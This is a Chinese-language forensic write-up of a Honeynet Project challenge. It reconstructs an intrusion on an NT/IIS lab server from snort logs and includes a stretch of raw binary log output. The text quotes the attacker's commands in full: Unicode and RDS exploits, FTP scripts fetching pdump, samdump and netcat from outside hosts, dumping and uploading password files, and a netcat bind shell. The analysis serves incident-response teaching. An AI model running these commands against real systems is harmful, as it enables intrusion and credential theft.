网络安全 频道

从NT的web server日志中提取攻击指纹

从NT的web server日志中提取攻击指纹

前言:(QQ:550669 讨论技术的加,黑站的决不通过。)

     浏览个大外国著名黑客网站,你就会发现通过检测系统的指纹来寻找黑客入侵的方法以为步骤成为了争论的焦点,当然我也不例外,我比较喜欢这样的方式,因为他可以让你很轻松的找到入侵者的指纹,而且还能更好的学习黑客入侵的方法。

     因为本人的实验环境有限,只能在自己家的虚拟机上完成分析日志的工作,真的很希望有这方面爱好的人能够提供一个开放的环境来研究这些底层的东西,如果这些东西再国内发展起来的话,那么中国的安全界的现状一定比现在好的多。

   好了废话少说,开始我们这里神奇之旅吧。。

honeynet(密罐系统)介绍:

   Honeynet可以说是一个学习工具!它是一个专门设计来让人“攻陷”的网络,一旦被入侵者所攻破,入侵者的一切信息、工具等都将被用来分析学习。其想法与honeypot相似,但两者之间还是有些不同点的:honeypot也是一个用来让人攻击的网络,通常是用来诱骗入侵者的,通常情况下,honeypot会模拟某些常见的漏洞、摸拟其它操作系统或者是在某个系统上做了设置使其成为一台“牢笼”主机。比如The Deception Toolkit(下载), CyberCop Sting, 以及 Mantrap. 是一些脚本的集合,它模拟出了一些常的系统漏洞;CyberCop Sting运行于NT平台,它模拟出多个不同系统的IP堆栈及inetd服务。Mantrap则是将Solaris系统进行了一些设置,建立起了一些“牢笼主机”。毫无疑义,这些都是相当不错的想法,但在现在的环境下,它们有些不适合了,需要更多的改进。

Honeynet与传统意义上的honeypot有两个最大的不同点在于:

一个Honeynet是一个网络系统,而并非某台单一主机,这一网络系统是隐藏在防火墙后面的,所有进出的数据都受到关注、捕获及控制。这些被捕获的数据可以对我们研究分析入侵者们使用的工具、方法及动机。在这个Honeynet中,我们可以使用各种不同的操作系统及设备,如Solaris, Linux, Windows NT, Cisco Switch, 等等。这样建立的网络环境看上去会更加真实可信,同时我们还有不同的系统平台上面运行着不同的服务,比如Linux的DNS server,Windows NT的webserver或者一个Solaris的FTP server,我们可以学习不同的工具以及不同的策略——或许某些入侵者仅仅把目标定于几个特定的系统漏洞上,而我们这种多样化的系统,就可能更多了揭示出他们的一些特性。
在Honeynet中的所有系统都是标准的机器,上面运行的都是真实完整的操作系统及应用程序——就象你在互联网上找到的系统一样。我们没有刻意地模拟某种环境或者故意地使系统不安全。在Honeynet里面找到的存在风险的系统,与在互联网上一些公司组织的毫无二致。你可以简单地把你的操作系统放到Honeynet中,并不会对整个网络造成影响。
它的工作方式是

工作方式
既然我们的目的是对入侵者群体进行研究,我们就必须能够跟踪他们的举动,要建立一个透明的环境,以使我们能够对Honeynet里发生的任何事都有清楚的了解。传统的方法是对网络流量进行监控,这里存在一个最大的问题就是过大的数据量使安全工程师疲于奔命。我们必须从大量的数据中判断哪些是正常的流量,哪些是恶意的活动。一些如入侵检测系统、基于主机的检测及日志分析的工具、技术会在很大程度上带来帮助。但是数据过载、信息被破坏、未知的活动、伪造的日志等等都会对我们的检查分析带来困难。

Honeynet对此采用了最简单的解决方式。我们的目的是研究系统被侵害的一些相关事件,而不是分析网络流量,我们认为,从外界对Honeynet的访问,除去正常访问外,其它可能是一些扫描、探测及攻击的行为,而从系统内部对外界发起的连接,一般情况下,表明了系统被侵害了,入侵者利用它在进行一些活动。这使我们的分析活动相对简单化。


要成功地建立一个Honeynet,我们需要面临两个问题:信息控制及信息捕获。信息控制代表了一种规则,你必须能够确定你的信息包能够发送到什么地方。其目的是,当你Honeynet里的Honeypot主机被入侵后,它不会被用来攻击在Honeynet以外的机器。信息捕获则是要抓到入侵者群体们的所有流量,从他们的击键到他们发送的信息包。只有这样,我样才能进一步分析他们使用的工具、策略及目的。


  如果大家对这些东西感兴趣的话我推荐一个地方http://www.xfoucs.org/honeynet

这里是中国精品的honeynet研究场所,在这里你一定能够学到很多关于honeynet的东西。

目标:

        我们这次的目标是一个NT系统被成功入侵以后的指纹的分析,以及提出攻击方法的过程以及数据分析的方法,希望大家能在这里学到很多好的东西.那么这样我写这篇文章的目的也就达到了。

   我们这次要分析的文件是http://project.honeynet.org/scans/scan14/ 首先我们要把他给的web log日志文件下载下来,下面我把下载地址公布给大家,http://project.honeynet.org/scans/scan14/snort-0204@0117.log.gz

http://project.honeynet.org/scans/scan14/snort-0204@0117.log.zip

他给出的问题是

Which exploit(s) were used to attack the system?
How were the exploits used to access and control the system?
What was done once access was gained?
How could this attack been prevented?
How much time did you spend on this analysis and writeup?
我给大家简单的翻译一下

1.攻击者用到的是哪个漏洞来攻击系统的?

2.这个漏洞如何访问和控制系统

3.一旦进入系统讲获得怎么样的控制,

4。怎样能防止这样的攻击?

5。你在这个分析和写报告上花费多长时间

    好了我们已经拿到了web 的log数据以为问题,我们要做的就是再log中找出这些问题的答案。

 正式开始:第一部分。分析数据

   记得我第一次分析数据的时候是这样分析的,直接把日志文件接压缩以后就看,当然也能看懂一些东西,自己也试着分析了,过程虽然查不多,得到的答案也很相似,可是我发现我用的时间比别人长了将近3-4倍,可以想象系统被入侵了以后哪有那么多的时间来分析啊,所以一开始做了很多弯路,我写这篇文章的目的就是教给大家一个方法入侵分析数据,如果你想和我一样来分析数据的话我不反对,至少你必须要看懂下面这些东西

〔迷               :} 幤   \   \ ?`p@  渒- E  NV  n沴伫??i   :!HDV          CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  ! :} a   \   \ ?`p@  渒- E  NW  n歭伫??i   :!FDX          CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  ! :} S   \   \ ?`p@  渒- E  NX  n檒伫??i   :!DDZ          CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  ! :}u  
E   \   \ ?`p@  渒- E  N孝  n!l伫??i   : 淓          CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  ! :}w 哝   \   \ ?`p@  渒- E  N癣  n l伫??i   : 欵          CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  ! :}x ?   \   \ ?`p@  渒- E  N尧  nl伫??i   : 楨          CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  ! :}. N   \   \ ?`p@  渒- E  Np  qe簇g??i   :煸`:         CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  ! :}. 墟   \   \ ?`p@  渒- E  Nq  qd簇g??i   :煲`<         CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  ! :}. ''   \   \ ?`p@  渒- E  Nr  qc簇g??i   :煨`>         CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  ! :}G 鈵   J   J ?`p@  渒- E  <嶚@ #?= 3?g9 o??    ?}x鲦  ?
祱{     :}G    N   N  渒- ?`p@ E  @鶝@ ?~h?g= 3 o9p}~畞??''榥  
I?祱{ ?}G /   J   J ?`p@  渒- E  <嶛@ #?= 3?l ^ o€?t    ?}x瑅  ?
祱{     :}G E   J   J  渒- ?`p@ E  <OC@ ?缋?l= 3 o ^.撒
€?u?}xv  ?
i ?祱{ :}G P   B   B ?`p@  渒- E  4捘@ #繪= 3?g9 o??p}~瘈}xX  
祱?I?:}G 糱   B   B ?`p@  渒- E  4捙@ #繤= 3?l ^ o€?u.撒€}x?  
祱?i ?}G  猄   B   B ?`p@  渒- E  4斔@ #綞= 3?g9 o??p}~瘈}xXv  
祲 I?:}G     B   B  渒- ?`p@ E  4鶞@ ?~s?g= 3 o9p}~瘉?€''槶  
I抬祲 :}G  ?   B   B  渒- ?`p@ E  4鶟@ ?~r?g= 3 o9p}~瘉?€''槶  
I抬祲 :}G f   B   B ?`p@  渒- E  4斕@ #?= 3?l ^ o€?u.撒€}xみ  
祲 i ?}G 
   B   B  渒- ?`p@ E  4OD@ ?缜?l= 3 o ^.撒€?v€}x  
i
祲 :}G  =   B   B  渒- ?`p@ E  4OE@ ?缙?l= 3 o ^.撒€?v€}x  
i
祲 :}G
髨   B   B ?`p@  渒- E  4枮@ #糾= 3?l ^ o€?v.撒€}x?  
祲7i
:}G D   B   B  渒- ?`p@ E  4鶠@ ?~q?g= 3 o9p}~瘉?€''槵  
I网祲 :}G s[   B   B  渒- ?`p@ E  4鶡@ ?~p?g= 3 o9p}~瘉?€''槱  
I袥祲 :}G
[   B   B  渒- ?`p@ E  4鶢@ ?~o?g= 3 o9p}~瘉?€''槫  
I蔗祲 :}G
   B   B  渒- ?`p@ E  4@ ?~n?g= 3 o9p}~瘉?€''槡  
I鄊祲 :}H
   B   B  渒- ?`p@ E  4?@ ?嘬?g= 3 o9p}~瘉?€''槃  
I鯀祲 :}HT     B   B  渒- ?`p@ E  4亾@ ?鰘?g= 3 o9p}~瘉?€''榤  
J ?祲 :}H  ?   B   B  渒- ?`p@ E  4k驚 ? ?g= 3 o9p}~瘉?€''榁  
J$e祲 :}H  霅   B   B  渒- ?`p@ E  4VS@ ?!浆g= 3 o9p}~瘉?€''?  
J;?祲 :}I  ?   B   B  渒- ?`p@ E  4@矦 ?7]?g= 3 o9p}~瘉?€''?9  
JSE祲 :}ID  佴   B   B  渒- ?`p@ E  4+@ ?Lg= 3 o9p}~瘉?€''?  
Jj?祲 :}I€  孜   B   B  渒- ?`p@ E  4s@ ?b潿g= 3 o9p}~瘉?€''橒X  
J?祲 :}J$ ,m   >   > ?`p@  渒- E  0*罖 obu誸?j P?f    p"8鍰  ?:}J$ K?   <   <  渒- ?`p@ E  ,聉@ 好?j誸 P?畖?f綻"8Rr    :}J% 2   6   6 ?`p@  渒- E  (*聾 ob{誸?j P?f?畖P"8j/  :}J%      ?`p@  渒- E ~*腀 oa$誸?j P?f?畖P"8?  GET / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)
Host: lab.wiretrip.net
Connection: Keep-Alive

:}J% N]    ?  渒- ?`p@ E 苊v@ ??j誸 P?畖?hP 饩  HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Content-Location: http://lab.wiretrip.net/Default.htm
Date: Sun, 04 Feb 2001 12:24:04 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Sat, 16 Dec 2000 04:26:13 GMT
ETag: "049c531867c01:b85"
Content-Length: 1233

<html>
<title>rain forest puppy - research and development</title>
<body bgcolor="#ffffff" text="#000000" background="rfpback.gif" link="#000000" vlink="#000000">

<table width="100%" border=0 cellpadding=0 cellspacing=0>
<tr><td width="100%" bgcolor="#000000"><a
href="/rfp/2/"><img src="lrfptop.gif" border=0></a><img src="rfp.gif" border=0></td>
</tr><tr><td width="100%" bgcolor="#999999"><a
href="/rfp/2/"><img src="lrfpbot.gif"
border=0></a></td></tr></table><p>
<p>
<br>
<p>
<br>

<center>
<font face="verdana,arial,sans-serif" size=2>

Feel free to puke your thoughts into our
<a href="http://lab.wiretrip.net/guest/default.asp";>guestbook:</a><br>
</center>

<br>
<p>
<br>

<a href="http://www.void.ru";><img
src="void.gif" border=1></a> 
<a href="http://www.technotronic.com";><img
src="technotronic.gif" border=1></a> 
<a href="http://www.wiretrip.net/rfp/p/doc.asp?id=21&iface=2";>
<img src="whisker.gif" border=1></a><p>

<a href="http://netadmin.77169.com/UploadFiles_9956/200501/20050123205201694.gif" border=1></a> 
<a href="
http://netadmin.77169.com/UploadFiles_9956/200501/20050123205207103.gif" border=1></a> 
<a href="
http://www.nmrc:}J% Nj   k   k  渒- ?`p@ E  ]膙@ 笒?j誸 P?畞蠋#hP ?Y  .org/"><img
src="nmrc.gif" border=1></a><p>

</html>
:}J%
蟪   6   6 ?`p@  渒- E  (*艪 obx誸?j P?h,畖P"8h  :}J& 瑴   6   6 ?`p@  渒- E  (*茾 obw誸?j P?h,畟P"8b  :}J& 壋  8  8 ?`p@  渒- E **菮 oat誸?j P?h,畟P"8?  GET /rfpback.gif HTTP/1.1
Accept: */*
Referer: http://lab.wiretrip.net/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)
Host: lab.wiretrip.net
Connection: Keep-Alive


呵呵眼花缭乱吧。

  后来看了看别人的分析方法得到了不少的经验,下面我们来说说我是如何做的吧。 在我分析这个攻击和回答问题以前,我们已经首先解压缩这个snort二进制的log日志文件(知道为什么我第一次分析的时候乱码的意思了吧,那些都是二进制文件)。这里没有最好的或者是弯路来分析这个数据,没个人都用不同的方式(例如用Ethreal分析。我们的这次密罐至少告诉了我们2个方式从二进制的log文件中解压出数据,他们就是命令行评论和session逃脱 。

命令行评论:

从命令行中提取出数据,一个人能执行下列命令看见的全部包攻击者寄给  213.116.251.162.

   snort -vdr snort-0204@0117.log host 213.116.251.162 | more

大家可以看看分离出来的数据格式在这里查看

session逃脱:

第2个选项是第2种选择将让snort二进制文件充满一个snort配置文件 大家可以看看这个结果,点这里查看snort的session

snort -r snort-0204@0117.log -c snort.conf -l ./log

第二部分,数据分析和回答挑战问题

1.攻击者用到的是哪个漏洞来攻击系统的

回答:Snort 已经报告了来自213.116.251.162的Unicode攻击,因此瞄准那IP 地址,活动踪迹显示攻击者首先来到了lab.wiretrip.net的主页上,有趣的事情是在他的输入请求包括了HTTP 请求:User-Agent 展示的是他运行了IE5.01在"NT5.0"的系统上,这基本上可以确定是Windows 2000的系统.并且他还用了"Hotbar 2.2000“的插件,这个插件是IE的插件.接受的头告诉我们攻击者已经安装了MS Office.然后攻击者浏览了guestbook页面(而且包括了图片),然后,这个攻击者尝试了Unicode攻击,(在各种各样的表格里面)并且最终成功了),他成功的得到了boot.ini文件的回显。

现在这个攻击者选择了玩起了RDS这个漏洞,其实nsfocus.net也有说明的,可是我老上不去,没办法只好给出了英语的.下面发出一个请求确定了目录的存在,对msadcs.dll的一个请求显示它正正确地起作用。这个攻击者用cmd /c echo werd >> c:\fun这个命令来做为RDS请求发送给服务器。然后他确认ADM!ROX!YOUR!WORLD 这个字符串,然后请求dbq=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb,这看起来好象是用到了msadc.pl/msadc2.pl 这个脚本程序。令人遗憾的是,在服务器的答复中没有告诉我们这个方法是否成功的工作了。

下一步攻击者试图用Unicode的漏洞去正式RDS命令是否成功。所以得到结论unicode和RDS漏洞都存在。

第2个问题:这个漏洞如何访问和控制系统

我们看一下更多的RDS应用,给出攻击者用到的命令:

"cmd /c echo user johna2k > ftpcom"
"cmd /c echo hacker2000 >> ftpcom"
"cmd /c echo get samdump.dll >> ftpcom"
"cmd /c echo get pdump.exe >> ftpcom"
"cmd /c echo get nc.exe >> ftpcom"
"cmd /c echo quit >> ftpcom"
"cmd /c ftp -s:ftpcom -n www.nether.net"

这个文件创建一个ftp下载过程的文件,(他用johna2k作为用户,hacker2000作为密码)并且想得到3个文件,samdump.dll,pdump.exe(windows密码读取器)和nc.exe(netcat)。

然后攻击者用RDS去运行"cmd /c pdump.exe >> new.pass"

他们运行pdump.exe的目的是得到密码

"cmd /c echo user johna2k > ftpcom2"
"cmd /c echo hacker2000 >> ftpcom2"
"cmd /c echo put new.pass >> ftpcom2"
"cmd /c echo quit >> ftpcom2"
"cmd /c ftp -s:ftpcom2 -n www.nether.net"

这是攻击者创建的另外一个脚本,这个时候他想去上穿new.pass文件到服务器。攻击者浏览了主页(并且联系图片),但是他返回到了RDS(msadcs.dll),这里他运行了

"cmd /c ftp 213.116.251.162"

我们可以看到我们的服务器用了一个ftp连接,目的是连接到攻击者的IP,在他的ftp服务器上他运行的是Serv-U FTP-Server v2.5h。但是攻击者逮捕FTP客户交互方式 ,如此技术上这位客户将用永远连接,直到机器被重新启动(最终socket连接将关闭,但是客户将不退出)

现在攻击者又一次尝试,他这个时候做了一个脚本

"cmd /c open 213.116.251.162 > ftpcom"
"cmd /c echo johna2k > ftpcom"
"cmd /c echo hacker2000 >> ftpcom"
"cmd /c echo get samdump.dll >> ftpcom"
"cmd /c echo get pdump.exe >> ftpcom"
"cmd /c echo get nc.exe >> ftpcom"
"cmd /c echo quit >> ftpcom"
"cmd /c ftp -s:ftpcom"

当然这个不工作的,为什么?因为在第2 次输入的时候只输入了一个">"大家自己看以下

"cmd /c echo johna2k > ftpcom" 这句。

下一步他运行

"cmd /c open 212.139.12.26"
"cmd /c echo johna2k >> sasfile"
"cmd /c echo haxedj00 >> sasfile"
"cmd /c echo get pdump.exe >> sasfile"
"cmd /c echo get samdump.dll >> sasfile"
"cmd /c echo get nc.exe >>sasfile"
"cmd /c echo quit >> sasfile"
"cmd /c ftp -s:sasfile"

自从攻击者忘记把第一个命令用文件导入符号''> sasfile''了

这一句"cmd /c open 212.139.12.26"

应该是"cmd /c open 212.139.12.26 > sasfile"

 

每次请求都在2-3秒,这样的攻击被自动化,或许攻击者自己写的漏洞利用程序,然后用msadc(2).pl来上传,一次一行。再一次已经失败了,这个攻击者又去尝试了Unicode。这时候他给出了这样的命令:

"cmd /c copy c:\winnt\system32\cmd.exe cmd1.exe"

他的意思是把命令接口拷贝到了/msadc/这个虚拟目录,为了使用文件改向,用unicode代码或者是访问方式做一个副本是必要的.现在攻击者试图通过Unicode 建造FTP。(真是乐此不疲啊)在请求之间的时间在10-12秒的命令,这很可能表明攻击者正亲手打命令。

 

"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"

这里书写是准确的,因此它工作,我们看到了客户的日志已经进入了服务器,并且成功认证,然后下载了文件。

然后攻击者执行了

"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"

目的是把command接口绑定到6969这个端口,他可以让攻击者telnet到6906端口,攻击者连接成功后执行了dir命令。

第三个问题:一旦进入系统讲获得怎么样的控制,

现在他执行了

"cmd1.exe /c C:\program files\common files\system\msadc\pdump.exe >> yay.txt"

把pdump的输出结果从定向到yay.tt文件,然后返回到netcat连接过程,这个攻击者又一次与拧了dir,然后删除了ftpcom文件,然后他尝试了type reamde.e这个文件,这是一个不存在的文件。

返回到RDS,继续运行"cmd1.exe /c C:\program files\common files\system\msadc\pdump.exe >> c:\yay.txt"

这次是把结果发到c:\目录下,然后,攻击者使用迅速的netcat换乘那份目录并且运行一个目录目录 --让他们看yay.txt被建立。然后他尝试了rm命令,这里有一个小插曲,他以为自己再搞UNIX的机器,呵呵,然后他用了del命令,删除了fun文件。然后有执行了"cmd /c net session >>yay2.txt"

忘记了地方:

"cmd /c net session >>c:\yay2.txt"

然后用netcat,他查看了yay2.txt文件type yay2.txt,然后删除它,

他返回到RDS继续执行

"cmd /c net users >>heh.txt"
"cmd /c net users >>c:\heh.txt"

最后他给出了这样的信息

"echo Hi, i knowthat this a (backspace)(backspace)is a lab server, but patch the holes! :-) >>README.NOW.Hax0r"

意思是我知道这是一实验室服务器, 不知道他是如何知道的.

攻击到次结束了,下面的就是加帐号的操作了就不写了。

4,如何解决

RDS Patch - http://www.microsoft.com/technet/security/bulletin/MS99-025.asp
Unicode Patch - http://www.microsoft.com/technet/security/bulletin/ms00-057.asp

5。用了多长时间?

4-5个小时就完成了,写这篇文章用了半个小时。

第一次用了我整整一天。。

呵呵。

最后还是有一个问题,攻击者如何知道这是一个秘罐的呢?

看日志文件中没有给出啊,一直很纳闷。。

希望高手指教。。本人QQ:550669

希望有这方面爱好的人和我交流,谢谢收看。

下次见。:)

忘记给出了命令的文件:nc1.log

nc2.log

nc3.log

参考:1.安全焦点密罐小组

http://www.xfoucs.org/honeynet

2.honeynet主页

http://www.honeynet.org
http://netadmin.77169.com/HTML/20050124024800.html
0
相关文章